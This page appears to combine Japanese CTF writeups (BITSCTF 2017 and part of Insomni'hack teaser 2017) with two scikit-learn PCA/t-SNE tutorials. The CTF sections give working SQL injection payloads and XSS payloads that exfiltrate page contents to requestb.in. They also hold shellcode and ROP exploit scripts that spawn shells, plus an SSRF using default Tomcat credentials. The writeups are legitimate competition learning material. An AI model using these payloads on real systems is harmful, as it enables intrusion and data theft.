BITSCTF 2017 供養(Writeup)

BITSCTF 2017に参加。410ptで30位。

BotBot (Web 10)

/robots.txtを見るとそれっぽいものがある。

Useragent *
Disallow: /fl4g

/fl4gにアクセスすると301になるが、/fl4g/にしたところフラグが得られた。

$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g
*   Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:52 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 351
< Connection: keep-alive
< Location: http://botbot.bitsctf.bits-quark.org/robot/fl4g/
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://botbot.bitsctf.bits-quark.org/robot/fl4g/">here</a>.</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at botbot.bitsctf.bits-quark.org Port 80</address>
</body></html>
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact

$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g/
*   Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g/ HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:54 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 41
< Connection: keep-alive
< X-Powered-By: PHP/7.0.15
<
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact
BITCTF{take_a_look_at_googles_robots_txt}

Batman vs Joker (Web 30)

ふつうのSQL injection問題。

' UNION SELECT table_name, column_name FROM information_schema.columns --
' UNION SELECT flag, 1 FROM Joker --
BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}

Message the admin (Web 60)

My boss has created a website. I can send messages to him via a form on that website. He is always looking out for the messages that he receives.

XSS問題。 innerHTMLの先頭を見たところdata URIが延々と続いていたので、正規表現でフラグフォーマットにマッチする部分を抜き出した。

'"><img src=http://requestb.in/XXXXXXXX>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+encodeURIComponent(document.body.innerHTML.slice(0,3000))</script>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+document.body.innerHTML.match(/BITSCTF\{[^}]*\}/)[0]</script>
BITSCTF{hsr_1s_n0t_cr3ative}

Mission improbable (Rev 20)

与えられたテキストを適当にhex decodeしてstringsをかけると、フラグっぽいものが見つかる。 最後が変だが、}に直すと通った。

import sys

data = open('MissionImprobable.TEENSY31.hex').read()

for line in data.splitlines():
    s = line[7:]
    sys.stdout.write(s.decode('hex'))
$ python test.py | strings -n8
>F@&(F1F
>F@&(F1F
EF@%0F)F
 "The flag is BI
TCTF{B4d_bad_U5BO
echo "This m
essage will selfL
 destruct in 5 s
,^t`abd4o
fgen6-78'
%&s3v.wx_DEFGHIJ
KLMNOPQRSTUVWXYZ
[\]/10cm5
BITCTF{B4d_bad_U5B}

Riskv and Reward (Rev 80)

RISC-VのELF。 16進ダンプを眺めると、dataセクションと思われる箇所に文字列と数値の配列がある。

$ xxd riskv_and_reward
(snip)
00001040: 746a 6233 6373 4674 3072 7275 7472 685f  tjb3csFt0rrutrh_
00001050: 7769 7635 5f5f 6669 7d6b 5f31 6968 607b  wiv5__fi}k_1ih`{
00001060: 7849 6372 6873 6f79 426d 7977 3143 7954  xIcrhsoyBmyw1CyT
00001070: 3372 7678 5374 545f 6a71 3430 5f7a 7271  3rvxStT_jq40_zrq
00001080: 2800 0000 2100 0000 2f00 0000 3400 0000  (...!.../...4...
00001090: 2d00 0000 3600 0000 0600 0000 1f00 0000  -...6...........
000010a0: 2500 0000 3b00 0000 2900 0000 0300 0000  %...;...).......
000010b0: 3700 0000 3e00 0000 1b00 0000 0500 0000  7...>...........
000010c0: 2200 0000 1300 0000 1400 0000 3a00 0000  "...........:...
000010d0: 3100 0000 3000 0000 1a00 0000 1000 0000  1...0...........
000010e0: 0800 0000 2300 0000 0700 0000 2400 0000  ....#.......$...
000010f0: 3c00 0000 2c00 0000 0000 0000 1800 0000  <...,...........
00001100: 4300 0000 0000 0000 0000 0000 0000 0000  C...............
(snip)

数値の配列の並びで文字列から文字を抜き出してみるとフラグが得られた。

table = 'tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq'
ary = [0x28, 0x21, 0x2f, 0x34, 0x2d, 0x36, 0x06, 0x1f, 0x25, 0x3b, 0x29, 0x03, 0x37, 0x3e, 0x1b, 0x05, 0x22, 0x13, 0x14, 0x3a, 0x31, 0x30, 0x1a, 0x10, 0x08, 0x23, 0x07, 0x24, 0x3c, 0x2c, 0x00, 0x18]

s = ''
for x in ary:
    s += table[x]
print s
$ python test.py
BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}

Labour (Misc 20)

複数の緯度経度情報を含むGPXファイルが与えられる。 緯度経度を国名に直して、頭文字を並べるとフラグが得られる。

23.71697, 89.45508   // Bandladesh
22.82885, 80.79786   // India
39.88276, 58.81642   // Turkmenistan
15.43674, 27.65039   // Sudan
12.69179, 17.50781   // Chad
14.91081, 100.47656  // Thailand
45.9267, 2.21484     // France
4.11852, 102.19922   // Malaysia
34.85709, 65.84765   // Afghanistan
28.89086, 68.30859   // Pakistan
39.20502, 31.92187   // Turkey
47.24344, 19.8457    // Hungary
25.30828, 29.84765   // Egypt
18.97119, -72.28521  // Haiti
-13.61609, 17.68359  // Angola
33.84122, 102.23438  // China
46.89624, 69.53907   // Kazakhstan

BITSCTF{MAP_THE_HACK}

Banana Princess (Crypto 20)

PDFファイルが与えられるが、先頭がおかしい。

$ xxd MinionQuest.pdf | head
00000000: 2543 5153 2d31 2e35 0d25 e2e3 cfd3 0d0a  %CQS-1.5.%......
00000010: 3420 3020 626f 770d 3c3c 2f59 7661 726e  4 0 bow.<</Yvarn
00000020: 6576 6d72 7120 312f 5920 3433 3031 3930  evmrq 1/Y 430190
00000030: 2f42 2036 2f52 2034 3034 3334 332f 4120  /B 6/R 404343/A
00000040: 312f 4720 3432 3939 3931 2f55 205b 2035  1/G 429991/U [ 5
00000050: 3736 2031 3535 5d3e 3e0d 7261 7162 6f77  76 155]>>.raqbow
00000060: 0d20 2020 2020 2020 2020 2020 2020 2020  .
00000070: 2020 0d0a 6b65 7273 0d0a 3420 3134 0d0a    ..kers..4 14..
00000080: 3030 3030 3030 3030 3136 2030 3030 3030  0000000016 00000
00000090: 2061 0d0a 3030 3030 3030 3037 3331 2030   a..0000000731 0

PDF -> CQSの対応関係からROT13変換されていると推測し、逆変換したものを書き出す。

data = open('MinionQuest.pdf').read()
with open('a.pdf', 'wb') as f:
    f.write(data.decode('rot13').encode('latin1'))

Adobe Readerで開くと一部に黒塗りがかかったページが表示される。 背景画像を選択した後右クリックから「画像をコピー」を選びペイント等に貼り付けると、黒塗りされていない画像が得られる。

f:id:inaz2:20170205215849p:plain

BITSCTF{save_the_kid}

Beginner’s luck (Crypto 40)

与えられたコードを読むと、24バイトの鍵で繰り返しXORを取っていることがわかる。 ファイル名がBITSCTFfullhd.pngであることから1920x1080のPNG画像であると推測し、特定可能な先頭部分からXOR鍵を求めて復号する。

def xor(x, y):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(x, y))

data = open('BITSCTFfullhd.png').read()

# signature:    89504e470d0a1a0a
# chunk length: 0000000d
# chunk type:   49484452 (IHDR)
# width:        00000780 (1920)
# height:       00000438 (1080)
p = '89504e470d0a1a0a0000000d494844520000078000000438'.decode('hex')
c = data[:24]
key = xor(c,p)

def supa_encryption(s1, s2):
    res = [chr(0)]*24
    for i in range(len(res)):
        q = ord(s1[i])
        d = ord(s2[i])
        k = q ^ d
        res[i] = chr(k)
    res = ''.join(res)
    return res

enc_data = ''
for i in range(0, len(data), 24):
    enc = supa_encryption(data[i:i+24], key)
    enc_data += enc

with open('a.png', 'wb') as f:
    f.write(enc_data)

f:id:inaz2:20170205215901p:plain

BITSCTF{p_en_gee}

Sherlock (Crypto 60)

与えられたテキストを見ると不自然な箇所でアルファベットが大文字になっている。 大文字部分のみを取り出し、適当に変換するとフラグが得られる。

$ grep -oP '[A-Z]' final.txt | tr -d '\n'
ZEROONEZEROZEROZEROZEROONEZEROZEROONEZEROZEROONEZEROZEROONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROONEZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROZEROZEROONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROONEONEONEZEROZEROZEROZEROZEROONEONEZEROONEONEZEROZEROZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROONEZEROONEZEROZEROONEONEZEROZEROZEROONEZEROZEROONEONEZEROONEONEONEZEROZEROONEONEZEROZEROONEONEZEROONEONEONEONEONEZEROONE

$ grep -oP '[A-Z]' final.txt | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g'
010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101
s = '010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101'
s = "%x" % int(s, 2)
print s.decode('hex')
$ python test.py
BITSCTF{h1d3_1n_pl41n_5173}

Black Hole (Forensics 10)

stringsするとBase64っぽい文字列がある。

$ strings -n8 black_hole.jpg | tail
%%u{5{?Tz9Fy
_?=>KmGF
fyJmUQ!s
UX#0htK-?P
l!]Y5-E$
5       c2jwW-4
JeY[pVP=
j3xKE}*y
M&W]>[&
UQklUQ1RGe1M1IDAwMTQrODF9

フラグフォーマットをBase64変換したものを見つつ、逆変換するとフラグが得られる。

$ echo BITSCTF | base64
QklUU0NURgo=

$ echo QklUQ1RGe1M1IDAwMTQrODF9 | base64 -d
BITCTF{S5 0014+81}

Woodstock-1 (Forensics 10)

stringsするとフラグが見える。

$ strings ws1_2.pcapng | head -n 20
Linux 4.8.0-37-generic
Dumpcap (Wireshark) 2.2.4 (Git Rev Unknown from unknown)
wlo1
port 1209 or port 3000 or port 3001
Linux 4.8.0-37-generic
Ln$Lock EXTENDEDPROTOCOLXUa`cq;KGq_Xkk3=jfOHOL3B0xUnix Pk=PtokaX|
$Supports UserCommand NoGetINFO NoHello UserIP2 TTHSearch ZPipe0 TLS|$Key
p3/%DCN000%/
|$ValidateNick codelec|
$Supports ZPipe0 NoHello UserCommand UserIP2|$GetPass|
$MyPass BITSCTF{such_s3cure_much_w0w}|
$Hello codelec|$LogedIn codelec|
        m       $Version 1,0091|$GetNickList|$MyINFO $ALL codelec  <EiskaltDC++ V:2.2.9,M:A,H:0/1/0,S:3>$ $100 KiB/s
$$14$|
f>$ZOn|x
        R|(
u=Vj
f{$ZOn|x
,Q/VHT
aVFzFz

Command_Line (Pwn 20)

スタックバッファオーバーフロー脆弱性がある。 バッファのアドレスが出力される、かつNXが無効なので、シェルコードを置いてジャンプさせることでシェルが起動できる。

from minipwn import *

#s = connect_process(['stdbuf', '-o0', './pwn1'])
s = socket.create_connection(('bitsctf.bits-quark.org', 1330))
data = recvline(s)
addr_buf = int(data, 16)
print "[+] addr_buf = %x" % addr_buf

buf = 'A' * 24
buf += p64(addr_buf+32)
buf += shellcode['x64']

sendline(s, buf)
interact(s)
$ python test.py
[+] addr_buf = 7fffffffe620
id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
ls
flag
nohup.out
pwn1
cat flag
BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}

Random Game (Pwn 30)

srand(time(0))で初期化された疑似乱数の出力を推測する問題。 同じ条件で乱数を出力するC言語コードを書き、同時刻に実行されるようにする。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    srand(time(0));
    for (int i=0; i<100; i++) {
        printf("%d\n", rand()&0xf);
        fflush(stdout);
    }
    return 0;
}
from minipwn import *

s = socket.create_connection(('bitsctf.bits-quark.org', 1337))
p = connect_process(['./a.out'])

while True:
    line = recvline(p)
    msg = s.recv(8192)
    if not msg:
        break
    print "%r" % msg
    s.sendall(line)

interact(s)
$ gcc test.c

$ python test.py
'your number for 1 round : '
'your number for 2 round : '
'your number for 3 round : '
'your number for 4 round : '
'your number for 5 round : '
'your number for 6 round : '
'your number for 7 round : '
'your number for 8 round : '
'your number for 9 round : '
'your number for 10 round : '
'your number for 11 round : '
'your number for 12 round : '
'your number for 13 round : '
'your number for 14 round : '
'your number for 15 round : '
'your number for 16 round : '
'your number for 17 round : '
'your number for 18 round : '
'your number for 19 round : '
'your number for 20 round : '
'your number for 21 round : '
'your number for 22 round : '
'your number for 23 round : '
'your number for 24 round : '
'your number for 25 round : '
'your number for 26 round : '
'your number for 27 round : '
'your number for 28 round : '
'your number for 29 round : '
'your number for 30 round : '
'congrats you are rewarded with the flag BITSCTF{54m3_533d_54m3_53qu3nc\n'
*** Connection closed by remote host ***

フラグが切れていてこのままでは通らなかったが、same_seed_same_sequenceのleetと推測して補完したところ通った。

BITSCTF{54m3_533d_54m3_53qu3nc3}

所感

解けなかった問題は以下。

  • Showcasing the admin (Web 80)
  • Good Samaritan (Misc 50)
  • Enjoy the music (Misc 60)
  • fanfie (Crypto 20)
  • Enigma (Crypto 30)
  • flagception (Forensics 30)
  • Tom and Jerry (Forensics 50)
  • Woodstock-2 (Forensics 55)
  • Gh0st in the machine (Forensics 60)
  • Remember me (Forensics 60)

関連リンク

scikit-learnでt-SNE散布図を描いてみる

「scikit-learnでPCA散布図を描いてみる」では、scikit-learnを使ってPCA散布図を描いた。 ここでは、scikit-learnを使って非線形次元削減手法のひとつt-SNEで次元削減を行い、散布図を描いてみる。

環境

「scikit-learnでPCA散布図を描いてみる」を参照。

MNISTデータセットとPCA散布図

MNISTデータセットは0から9の手書き数字を表す8x8グレイスケール画像のデータセットであり、irisに並んで有名なサンプルデータセットである。

このデータセットについてPCA散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = PCA(n_components=2).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7f880818e6d0>

f:id:inaz2:20170124152915p:plain

PCA散布図はデータのばらつきをプロットするにはよいが、次元削減により主成分ベクトルが作る線形空間での近似となるため、PCAが仮定している多次元正規分布から大きく離れた分布に従うデータでは高次元の特徴量が持っていた情報の多くが失われてしまう。 このようなデータに対しては非線形次元削減あるいは多様体学習と呼ばれる手法を用いることで、高次元空間における距離をもとにした次元削減を行うことができる。 いくつかの手法の概要をまとめると次のようになる。

  • Locally Linear Embedding (LLE): データポイント近傍での線形性を仮定する
  • Spectral Embedding (Laplacian Eigenmaps): 距離の近いデータポイント同士を繋ぐことで得られるグラフ構造を用いる
  • Multi-dimensional Scaling (MDS): データポイント間の距離の大小をできるだけ保つ
  • t-Distributed Stochastic Neighbor Embedding (t-SNE): データポイント間の類似度を表現する条件付き確率をできるだけ保つ

ここでは、2、3次元への次元削減において高いパフォーマンスを示すt-SNEを用いる。

MNISTデータセットのt-SNE散布図を描いてみる

t-SNEで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.manifold import TSNE

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = TSNE(n_components=2, random_state=0).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7ff21173ee90>

f:id:inaz2:20170124161610p:plain

上の結果から、データポイント間の距離をもとに、64次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。

関連リンク

scikit-learnでPCA散布図を描いてみる

高次元の特徴量を持つデータの分布をおおまかに把握する方法として、PCA(主成分分析)で次元削減した後散布図を描く方法がある。 ここでは、Dockerを用いてデータ分析プラットフォームAnaconda環境を構築し、scikit-learnを使ってPCA散布図を描いてみる。

環境

Ubuntu 16.04.1 LTS 64bit版、Docker 1.12.5

$ uname -a
Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ docker --version
Docker version 1.12.5, build 7392c3b

DockerでAnaconda環境を構築する

Anacondaはデータ分析・機械学習に特化したPythonディストリビューションであり、Numpy、Scipy、Matplotlib、Sympy、scikit-learn、pandasなどのライブラリやブラウザ上から対話的なスクリプト実行、プロット表示が行えるJupyter Notebookが標準でインストールされている。 今回はscikit-learnとMatplotlibしか使わないが、Jupyter Notebookを利用することでプロット結果の確認が簡単になるため、Anacondaを利用することにする。

Anacondaは公式でDockerイメージを提供しており、これを利用すると簡単に環境を構築することができる。

$ docker pull continuumio/anaconda
Using default tag: latest
latest: Pulling from continuumio/anaconda

8ad8b3f87b37: Pull complete
fa2bdab78aa4: Pull complete
074a37ca9de6: Pull complete
751e84aa2169: Pull complete
Digest: sha256:6e2b524bce61a32b1a85bb4fc88ba8f2079e3b41d8b324250a3be35c45d7d9ee
Status: Downloaded newer image for continuumio/anaconda:latest

$ docker run -i -t -p 8888:8888 continuumio/anaconda /bin/bash -c "/opt/conda/bin/conda install jupyter -y --quiet && mkdir /opt/notebooks && /opt/conda/bin/jupyter notebook --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser"

サーバが起動したら、ブラウザからhttp://[host ip address]:8888/を開くことでJupyter Notebookにアクセスできる。

f:id:inaz2:20170123193200p:plain

irisデータセットのPCA散布図を描いてみる

PCA(Principal Component Analysis; 主成分分析)は、高次元の特徴量を持つデータについて、元のデータのばらつきをよく表す低次元の合成変数を得る手法である。

ここでは分析対象として、有名なサンプルデータセットであるirisを用いることにする。

上の例を参考に、PCAで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

iris = datasets.load_iris()

print iris.data.shape
# (150, 4)

print iris.target
"""
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2
 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
 2 2]
"""

X_reduced = PCA(n_components=2).fit_transform(iris.data)

print X_reduced.shape
# (150, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=iris.target)
# <matplotlib.collections.PathCollection at 0x7f5d087be4d0>

f:id:inaz2:20170123203948p:plain

上の結果から、4次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。

Insomni'hack teaser 2017 供養(Writeup)

Insomni'hack teaser 2017に参加。250ptで93位。

baby (Pwn 50)

NX、PIE、FullRELROが有効なx86-64 ELF。

# file baby
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped

# gdb -q ./baby
Reading symbols from ./baby...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

TCP 1337で接続を待ち受けるfork server型になっており、

  • Stack buffer overflow
  • Format string bug
  • Heap overflow

が自由に起こせるようになっている。

Format string bugでcanaryや実行ファイル、libcのベースアドレスをリークした後、Stack buffer overflowからROPして解いた。 libcのベースアドレスはmain関数からのリターンアドレスを使って計算することができる。

from minipwn import *

def stack_overflow(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '1')
    print recvuntil(s, '? ')
    sendline(s, str(len(buf)+1))
    sendline(s, buf)
    print recvline(s)

def format_string(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '2')
    print recvuntil(s, '> ')
    sendline(s, buf)
    data = recvline(s)
    print recvuntil(s, '> ')
    sendline(s, '')
    return data

#s = socket.create_connection(('localhost', 1337))
s = socket.create_connection(('baby.teaser.insomnihack.ch', 1337))

data = format_string(s, '%138$p.%139$p.%140$p.%158$p')
addrs = [int(x,16) for x in data.split('.')]
canary, saved_ebp, bin_base, libc_base = addrs[0], addrs[1], addrs[2]-0x19cf, addrs[3]-0x20830
print "[+] canary = %x" % canary
print "[+] saved_ebp = %x" % saved_ebp
print "[+] bin_base = %x" % bin_base
print "[+] libc_base = %x" % libc_base

addr_bss = bin_base + 0x0000000000203010
addr_csu_init1 = bin_base + 0x1c7e
addr_csu_init2 = bin_base + 0x1c68
addr_pop_rdi = bin_base + 0x1c8b
got_recv = bin_base + 0x202eb8
#libc_system = libc_base + 0x0000000000045380
#addr_pop_rcx = libc_base + 0x00050233
libc_system = libc_base + 0x0000000000045390
addr_pop_rcx = libc_base + 0x000fc3e2

buf = 'A' * 0x408
buf += p64(canary)
buf += 'BBBBBBBB'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, got_recv, 16, addr_bss, 4)
buf += p64(addr_pop_rcx) + p64(0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, 0, 0, 0, 0)
buf += p64(addr_pop_rdi) + p64(addr_bss)
buf += p64(libc_system)
stack_overflow(s, buf)

s.sendall('/bin/sh <&4 >&4\x00')

print "[+] got a shell!"
interact(s)
$ python test.py
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
Simply type '\n' to return
Your format >
Your format >
[+] canary = 7971cd723454900
[+] saved_ebp = 7ffe526fc540
[+] bin_base = 55f1410d6000
[+] libc_base = 7f129d29e000
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
How much bytes you want to send ?
Good luck !

[+] got a shell!
id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
ls
baby
flag
cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}

cryptoquizz (Misc/Crypto 50)

ランダムに与えられる暗号学者の生年を答える問題。 100回繋いでリストを作り、それぞれ対応するWikipediaのページから特定できるものを補完。 残りは人力でGoogle検索して埋めた。

from minipwn import *

data = """Arjen K. Lenstra [1956]
Lars Knudsen [1962]
Xuejia Lai [1954]
Daniel Bleichenbacher [1964]
Douglas Stinson [1956]
Claus-Peter Schnorr [1943]
Niels Ferguson [1965]
Yvo Desmedt [1956]
Ron Rivest [1947]
Antoine Joux [1967]
Michael O. Rabin [1931]
Jim Massey [1934]
Markus Jakobsson [1968]
Martin Hellman [1945]
Alex Biryukov [1969]
Yehuda Lindell [1971]
Joan Daemen [1965]
Horst Feistel [1915]
Kaisa Nyberg [1948]
Ralph Merkle [1952]
Paul Kocher [1973]
Paulo Barreto [1965]
Whitfield Diffie [1944]
Mitsuru Matsui [1961]
David Naccache [1967]
Phil Rogaway [1962]
Eli Biham [1960]
Adi Shamir [1952]
Ronald Cramer [1968]
Shai Halevi [1966]
Donald Davies [1924]
Moni Naor [1961]
Jacques Stern [1949]
Amos Fiat [1956]
Victor S. Miller [1947]
Paul van Oorschot [1962]
Nigel P. Smart [1967]
Serge Vaudenay [1968]
Ross Anderson [1956]
Dan Boneh [1969]
Jacques Patarin [1965]
Rafail Ostrovsky [1963]
Daniel J. Bernstein [1971]
Tatsuaki Okamoto [1952]
"""

birth_year = {}
for line in data.splitlines():
    name, birth = line[:-1].split(' [')
    birth_year[name] = birth

s = socket.create_connection(('quizz.teaser.insomnihack.ch', 1031))
print s.recv(8192)

while True:
    data = s.recv(8192)
    if not data:
        break
    m = re.search(r'~~ What is the birth year of (.+?) \?', data)
    if m:
        name = m.group(1)
        print name, birth_year[name]
        sendline(s, birth_year[name])
    else:
        print data

s.close()
$ python test.py

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ?    ~~
~~ Now, you'll have to prove us that you are a genuine             ~~
~~ cryptographer.                                                  ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Douglas Stinson 1956
Whitfield Diffie 1944


Lars Knudsen 1962
Antoine Joux 1967


David Naccache 1967
Donald Davies 1924


Jacques Stern 1949
Serge Vaudenay 1968



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ OK, young hacker. You are now considered to be a                ~~
~~ INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE}     ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

bender_safe (Reverse 50)

MIPS ELF。

# file bender_safe
bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped

16文字のチャレンジ文字列から計算される8文字のレスポンスを答える問題。 QEMUベースの高機能トレーサーqiraでトレースしながら、一文字ずつ計算式をリバーシングした。

下の図は3文字目の判定に失敗したあたりを見ているところ。 左側のレジスタ値とメモリのスナップショットを見ながら、右側のグラフでどのように比較される値が計算されているかを調べる。

f:id:inaz2:20170122185450p:plain

from minipwn import *

#s = socket.create_connection(('localhost', 4000))
s = socket.create_connection(('bender_safe.teaser.insomnihack.ch', 31337))
print recvuntil(s, '\n')
print recvuntil(s, '\n')
otp = recvuntil(s, '\n')
print otp

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x00\x00\x00\x00-------------------------------'

buf = otp[0x0]
buf += otp[0xf]
buf += chr(ord(otp[0x7]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x7]) < 0x41 else chr(ord(otp[0x7]) ^ 0x4b ^ 0x61 ^ 0xa)
buf += table[table.index(otp[0x3]) - 0xa] if ord(otp[0x3]) < 0x41 else table[table.index(otp[0x3]) + 0xa]
buf += table[table.index(otp[0x4]) - 0xa] if ord(otp[0x4]) < 0x41 else table[table.index(otp[0x4]) + 0xa]
buf += table[abs(ord(otp[1])-ord(otp[2])) % 0x23]
buf += table[abs(ord(otp[5])-ord(otp[6])) % 0x23]
buf += chr(ord(otp[0x8]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x8]) < 0x41 else chr(ord(otp[0x8]) ^ 0x4b ^ 0x61 ^ 0xa)
sendline(s, buf)

interact(s)
$ python test.py
Welcome to Bender's passwords storage service

Here's your OTP challenge :

5FKU25OCL8GMEZZB

      _
     ( )
      H
      H
     _H_
  .-'-.-'-.
 /         \
|           |
|   .-------'._
|  / /  '.' '. \
|  \ \ @   @ / /
|   '---------'
|    _______|
|  .'-+-+-+|
|  '.-+-+-+|      INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}
|    """""" |
'-.__   __.-'
     """

This is Bender's password vault storage
I have 54043195528445952 bytes of memory for storage!
Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
Your passwords are safe with me meatbag!
-------------------------------
|                             |
|  1. View passwords          |
|  2. Enter new passwords     |
|  3. View admin password     |
|  4. Exit                    |
|                             |
-------------------------------
4
*** Connection closed by remote host ***

angrを使ったほうがよかったかもしれない。

smarttomcat (Web 50)

パラメータで与えられたURLにアクセスするスクリプトが置かれたウェブサイト。 Tomcat Manager(http://localhost:8080/manager/html)にアクセスさせるようにすると、401 Unauthorizedエラーが返ってくる。 デフォルトの設定ファイルでコメントアウトされているアカウント情報でBasic認証の突破を試みると、フラグが得られた。

$ curl -v 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http%3A%2F%2Ftomcat%3Atomcat%40localhost%3A8080%2Fmanager%2Fhtml'
*   Trying 54.229.3.101...
* Connected to smarttomcat.teaser.insomnihack.ch (54.229.3.101) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: smarttomcat.teaser.insomnihack.ch
